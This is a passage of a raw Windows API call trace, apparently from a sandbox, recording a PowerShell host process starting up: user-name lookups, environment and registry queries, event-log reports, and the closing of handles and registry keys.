nSize=0x1ed168) returned 0x1 [0112.354] CoTaskMemFree (pv=0x1b89ff40) [0112.354] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.354] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed1a8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed1a8) returned 1 [0112.355] CoTaskMemFree (pv=0x4665f0) [0112.355] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3e53598*="Environment", lpRawData=0x3e53328) returned 1 [0112.356] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.356] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.356] CoTaskMemFree (pv=0x41e390) [0112.357] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.357] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0112.357] CoTaskMemFree (pv=0x41e390) [0112.357] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.357] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0112.357] CoTaskMemFree (pv=0x41e390) [0112.381] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0112.381] SetErrorMode (uMode=0x1) returned 0x1 [0112.382] CoTaskMemAlloc (cb=0x68) returned 0x1b87c330 [0112.382] CoTaskMemAlloc (cb=0x68) returned 0x1b87c3a0 [0112.382] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1b87c330, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x1ecef0, lpMaximumComponentLength=0x1eceec, lpFileSystemFlags=0x1ecee8, lpFileSystemNameBuffer=0x1b87c3a0, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1ecef0*=0x705ba84c, lpMaximumComponentLength=0x1eceec*=0xff, lpFileSystemFlags=0x1ecee8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0112.382] CoTaskMemFree (pv=0x1b87c330) [0112.383] CoTaskMemFree (pv=0x1b87c3a0) [0112.383] SetErrorMode (uMode=0x1) returned 0x1 [0112.383] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0112.383] CoTaskMemAlloc (cb=0x804) returned 0x1b89ff40 [0112.383] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89ff40, nSize=0x1ed168 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed168) returned 0x1 [0112.387] CoTaskMemFree (pv=0x1b89ff40) [0112.387] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.387] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed1a8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed1a8) returned 1 [0112.390] CoTaskMemFree (pv=0x4665f0) [0112.390] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3e5a5f0*="FileSystem", lpRawData=0x3e5a380) returned 1 [0112.400] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.400] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.401] CoTaskMemFree (pv=0x41e390) [0112.401] CoTaskMemAlloc (cb=0x804) returned 0x1b89ff40 [0112.401] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89ff40, nSize=0x1ed168 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed168) returned 0x1 [0112.404] CoTaskMemFree (pv=0x1b89ff40) [0112.404] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.404] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed1a8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed1a8) returned 1 [0112.405] CoTaskMemFree (pv=0x4665f0) [0112.405] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3e5fde0*="Function", lpRawData=0x3e5fb70) returned 1 [0112.407] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.407] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.407] CoTaskMemFree (pv=0x41e390) [0112.667] CoTaskMemAlloc (cb=0x804) returned 0x1b89ff40 [0112.667] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89ff40, nSize=0x1ed168 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed168) returned 0x1 [0112.668] CoTaskMemFree (pv=0x1b89ff40) [0112.668] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.668] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed1a8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed1a8) returned 1 [0112.668] CoTaskMemFree (pv=0x4665f0) [0112.668] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2fb6c80*="Registry", lpRawData=0x2fb6a10) returned 1 [0112.670] CoTaskMemAlloc (cb=0x804) returned 0x1b89ff40 [0112.670] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89ff40, nSize=0x1ed168 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed168) returned 0x1 [0112.671] CoTaskMemFree (pv=0x1b89ff40) [0112.671] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.671] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed1a8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed1a8) returned 1 [0112.671] CoTaskMemFree (pv=0x4665f0) [0112.671] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2fbc048*="Variable", lpRawData=0x2fbbdd8) returned 1 [0112.673] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.673] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.673] CoTaskMemFree (pv=0x41e390) [0112.712] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.713] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.713] CoTaskMemFree (pv=0x41e390) [0112.789] CoTaskMemAlloc (cb=0x804) returned 0x1b89ff40 [0112.789] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89ff40, nSize=0x1ed168 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed168) returned 0x1 [0112.790] CoTaskMemFree (pv=0x1b89ff40) [0112.790] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.790] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed1a8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed1a8) returned 1 [0112.790] CoTaskMemFree (pv=0x4665f0) [0112.790] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2fd0180*="Certificate", lpRawData=0x2fcff10) returned 1 [0112.801] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.801] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.801] CoTaskMemFree (pv=0x41e390) [0112.805] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0112.805] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0112.807] CoTaskMemAlloc (cb=0x20e) returned 0x1b87eff0 [0112.807] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1b87eff0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0112.807] CoTaskMemFree (pv=0x1b87eff0) [0112.823] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.823] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.823] CoTaskMemFree (pv=0x41e390) [0112.823] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.823] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.823] CoTaskMemFree (pv=0x41e390) [0112.871] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.871] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.871] CoTaskMemFree (pv=0x41e390) [0112.872] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.872] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.872] CoTaskMemFree (pv=0x41e390) [0112.875] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.875] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.875] CoTaskMemFree (pv=0x41e390) [0113.215] CoTaskMemAlloc (cb=0x804) returned 0x1b89ff40 [0113.215] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89ff40, nSize=0x1ed3d8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed3d8) returned 0x1 [0113.216] CoTaskMemFree (pv=0x1b89ff40) [0113.216] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0113.216] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed418 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed418) returned 1 [0113.217] CoTaskMemFree (pv=0x4665f0) [0113.218] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3008e18*="Available", lpRawData=0x3008ba8) returned 1 [0113.218] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0113.218] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.218] CoTaskMemFree (pv=0x41e390) [0113.219] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0113.219] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.219] CoTaskMemFree (pv=0x41e390) [0113.709] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0113.709] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0113.709] CoTaskMemFree (pv=0x41e390) [0113.710] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0113.710] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0113.710] CoTaskMemFree (pv=0x41e390) [0113.710] CoTaskMemAlloc (cb=0x5a) returned 0x1b87c640 [0113.710] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ed34c, lpData=0x1b87c640, lpcbData=0x1ed348*=0x56 | out: lpType=0x1ed34c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ed348*=0x56) returned 0x0 [0113.710] CoTaskMemFree (pv=0x1b87c640) [0113.928] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0113.928] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.928] CoTaskMemFree (pv=0x41e390) [0113.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ebdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ebd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ebd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ebdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ebd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ebd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.947] VirtualQuery (in: lpAddress=0x1eb450, lpBuffer=0x1ec310, dwLength=0x30 | out: lpBuffer=0x1ec310*(BaseAddress=0x1eb000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.953] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0113.953] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.953] CoTaskMemFree (pv=0x41e390) [0114.068] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0114.068] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.068] CoTaskMemFree (pv=0x41e390) [0114.069] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0114.069] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.069] CoTaskMemFree (pv=0x41e390) [0114.069] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0114.069] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.069] CoTaskMemFree (pv=0x41e390) [0114.128] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0114.128] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.129] CoTaskMemFree (pv=0x41e390) [0114.132] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0114.132] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.133] CoTaskMemFree (pv=0x41e390) [0114.133] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0114.133] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.133] CoTaskMemFree (pv=0x41e390) [0116.257] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0116.258] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.258] CoTaskMemFree (pv=0x41e390) [0117.872] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x41e7d0 [0119.639] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.639] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.640] CoTaskMemFree (pv=0x41e9f0) [0119.643] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.643] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.643] CoTaskMemFree (pv=0x41e9f0) [0119.675] CoTaskMemAlloc (cb=0x5a) returned 0x1b87b990 [0119.675] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ed4ac, lpData=0x1b87b990, lpcbData=0x1ed4a8*=0x56 | out: lpType=0x1ed4ac*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ed4a8*=0x56) returned 0x0 [0119.675] CoTaskMemFree (pv=0x1b87b990) [0119.675] RegCloseKey (hKey=0x3a8) returned 0x0 [0119.675] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ed558 | out: phkResult=0x1ed558*=0x3a8) returned 0x0 [0119.675] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ed4dc, lpData=0x0, lpcbData=0x1ed4d8*=0x0 | out: lpType=0x1ed4dc*=0x1, lpData=0x0, lpcbData=0x1ed4d8*=0x56) returned 0x0 [0119.675] CoTaskMemAlloc (cb=0x5a) returned 0x1b87b990 [0119.675] RegQueryValueExW (in: hKey=0x3a8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ed4ac, lpData=0x1b87b990, lpcbData=0x1ed4a8*=0x56 | out: lpType=0x1ed4ac*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ed4a8*=0x56) returned 0x0 [0119.675] CoTaskMemFree (pv=0x1b87b990) [0119.675] RegCloseKey (hKey=0x3a8) returned 0x0 [0119.676] CoTaskMemAlloc (cb=0x20c) returned 0x1b87f680 [0119.676] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b87f680 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0119.676] CoTaskMemFree (pv=0x1b87f680) [0119.676] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x1ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0119.676] CoTaskMemAlloc (cb=0x20c) returned 0x1b87f680 [0119.676] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b87f680 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0119.676] CoTaskMemFree (pv=0x1b87f680) [0119.676] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x1ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0119.681] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.681] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.681] CoTaskMemFree (pv=0x41e9f0) [0119.682] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.682] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.682] CoTaskMemFree (pv=0x41e9f0) [0119.682] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.682] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.682] CoTaskMemFree (pv=0x41e9f0) [0119.683] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.683] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.683] CoTaskMemFree (pv=0x41e9f0) [0119.746] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.746] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.746] CoTaskMemFree (pv=0x41e9f0) [0119.749] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.749] CoTaskMemFree (pv=0x41e9f0) [0119.751] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0119.752] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x1ed6a0 | out: lpMode=0x1ed6a0) returned 1 [0119.753] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.753] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.753] CoTaskMemFree (pv=0x41e9f0) [0119.758] SetEvent (hEvent=0x380) returned 1 [0119.758] SetEvent (hEvent=0x3a8) returned 1 [0119.758] SetEvent (hEvent=0x358) returned 1 [0119.758] SetEvent (hEvent=0x37c) returned 1 [0119.761] CoTaskMemAlloc (cb=0x104) returned 0x41e9f0 [0119.761] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e9f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0119.761] CoTaskMemFree (pv=0x41e9f0) [0133.357] CoTaskMemAlloc (cb=0x104) returned 0x1b89c0a0 [0133.357] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b89c0a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0133.357] CoTaskMemFree (pv=0x1b89c0a0) [0133.419] CoTaskMemAlloc (cb=0x804) returned 0x1b8b0c20 [0133.419] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8b0c20, nSize=0x1ed528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed528) returned 0x1 [0133.420] CoTaskMemFree (pv=0x1b8b0c20) [0133.420] CoTaskMemAlloc (cb=0x204) returned 0x4680c0 [0133.420] GetUserNameW (in: lpBuffer=0x4680c0, pcbBuffer=0x1ed568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed568) returned 1 [0133.420] CoTaskMemFree (pv=0x4680c0) [0133.420] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x33d4280*="Stopped", lpRawData=0x33d4010) returned 1 [0133.423] CoGetContextToken (in: pToken=0x1ef0f0 | out: pToken=0x1ef0f0) returned 0x0 [0133.423] CObjectContext::QueryInterface () returned 0x0 [0133.423] CObjectContext::GetCurrentThreadType () returned 0x0 [0133.423] Release () returned 0x0 [0133.425] CoGetContextToken (in: pToken=0x1eecc0 | out: pToken=0x1eecc0) returned 0x0 [0133.425] CObjectContext::QueryInterface () returned 0x0 [0133.425] CObjectContext::GetCurrentThreadType () returned 0x0 [0133.425] Release () returned 0x0 [0133.428] CoGetContextToken (in: pToken=0x1eecc0 | out: pToken=0x1eecc0) returned 0x0 [0133.428] CObjectContext::QueryInterface () returned 0x0 [0133.429] CObjectContext::GetCurrentThreadType () returned 0x0 [0133.429] Release () returned 0x0 [0133.626] CoGetContextToken (in: pToken=0x1eecc0 | out: pToken=0x1eecc0) returned 0x0 [0133.626] CObjectContext::QueryInterface () returned 0x0 [0133.626] CObjectContext::GetCurrentThreadType () returned 0x0 [0133.626] Release () returned 0x0 [0133.648] CoGetContextToken (in: pToken=0x1eecc0 | out: pToken=0x1eecc0) returned 0x0 [0133.648] CObjectContext::QueryInterface () returned 0x0 [0133.648] CObjectContext::GetCurrentThreadType () returned 0x0 [0133.648] Release () returned 0x0 [0133.715] CoGetContextToken (in: pToken=0x1eecb0 | out: pToken=0x1eecb0) returned 0x0 [0133.715] CObjectContext::QueryInterface () returned 0x0 [0133.715] CObjectContext::GetCurrentThreadType () returned 0x0 [0133.715] Release () returned 0x0 [0133.716] CoUninitialize () Thread: id = 102 os_tid = 0xb78 Thread: id = 103 os_tid = 0xb80 Thread: id = 104 os_tid = 0xb84 Thread: id = 106 os_tid = 0xb90 Thread: id = 107 os_tid = 0xbb4 Thread: id = 108 os_tid = 0xbb8 [0094.065] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0108.818] RegCloseKey (hKey=0x330) returned 0x0 [0108.818] LocalFree (hMem=0x427dd0) returned 0x0 [0108.818] CloseHandle (hObject=0x324) returned 1 [0108.818] CloseHandle (hObject=0x13) returned 1 [0108.819] CloseHandle (hObject=0xf) returned 1 [0108.819] RegCloseKey (hKey=0x310) returned 0x0 [0108.819] RegCloseKey (hKey=0x30c) returned 0x0 [0108.819] RegCloseKey (hKey=0x308) returned 0x0 [0108.820] LocalFree (hMem=0x427da0) returned 0x0 [0112.564] RegCloseKey (hKey=0x374) returned 0x0 [0112.564] RegCloseKey (hKey=0x370) returned 0x0 [0112.564] RegCloseKey (hKey=0x36c) returned 0x0 [0112.564] RegCloseKey (hKey=0x368) returned 0x0 [0112.565] RegCloseKey (hKey=0x364) returned 0x0 [0112.565] RegCloseKey (hKey=0x360) returned 0x0 [0112.565] RegCloseKey (hKey=0x35c) returned 0x0 [0112.565] RegCloseKey (hKey=0x3a4) returned 0x0 [0112.566] RegCloseKey (hKey=0x3a0) returned 0x0 [0112.566] RegCloseKey (hKey=0x34c) returned 0x0 [0112.566] RegCloseKey (hKey=0x348) returned 0x0 [0112.566] RegCloseKey (hKey=0x344) returned 0x0 [0112.567] RegCloseKey (hKey=0x340) returned 0x0 [0112.567] RegCloseKey (hKey=0x33c) returned 0x0 [0112.567] RegCloseKey (hKey=0x338) returned 0x0 [0112.567] RegCloseKey (hKey=0x330) returned 0x0 [0112.568] RegCloseKey (hKey=0x310) returned 0x0 [0112.568] RegCloseKey (hKey=0x30c) returned 0x0 [0112.568] RegCloseKey (hKey=0x39c) returned 0x0 [0112.568] RegCloseKey (hKey=0x398) returned 0x0 [0112.568] RegCloseKey (hKey=0x378) returned 0x0 [0112.569] RegCloseKey (hKey=0x3ac) returned 0x0 [0112.569] RegCloseKey (hKey=0x390) returned 0x0 [0112.569] RegCloseKey (hKey=0x38c) returned 0x0 [0112.569] RegCloseKey (hKey=0x388) returned 0x0 [0112.570] RegCloseKey (hKey=0x384) returned 0x0 [0112.570] RegCloseKey (hKey=0x380) returned 0x0 [0112.570] RegCloseKey (hKey=0x37c) returned 0x0 [0112.570] RegCloseKey (hKey=0x358) returned 0x0 [0112.571] RegCloseKey (hKey=0x3a8) returned 0x0 [0112.571] RegCloseKey (hKey=0x308) returned 0x0 [0121.866] RegCloseKey (hKey=0x310) returned 0x0 [0131.958] CloseHandle (hObject=0x45c) returned 1 [0131.959] CloseHandle (hObject=0x458) returned 1 [0131.959] CertFreeCRLContext (pCrlContext=0x1b8a6cc0) returned 1 [0131.960] CertFreeCRLContext (pCrlContext=0x1ce30270) returned 1 [0131.961] CertFreeCRLContext (pCrlContext=0x1b8a6bc0) returned 1 [0131.961] CertFreeCRLContext (pCrlContext=0x1ce302f0) returned 1 [0131.961] CloseHandle (hObject=0x4c4) returned 1 [0131.961] CloseHandle (hObject=0x408) returned 1 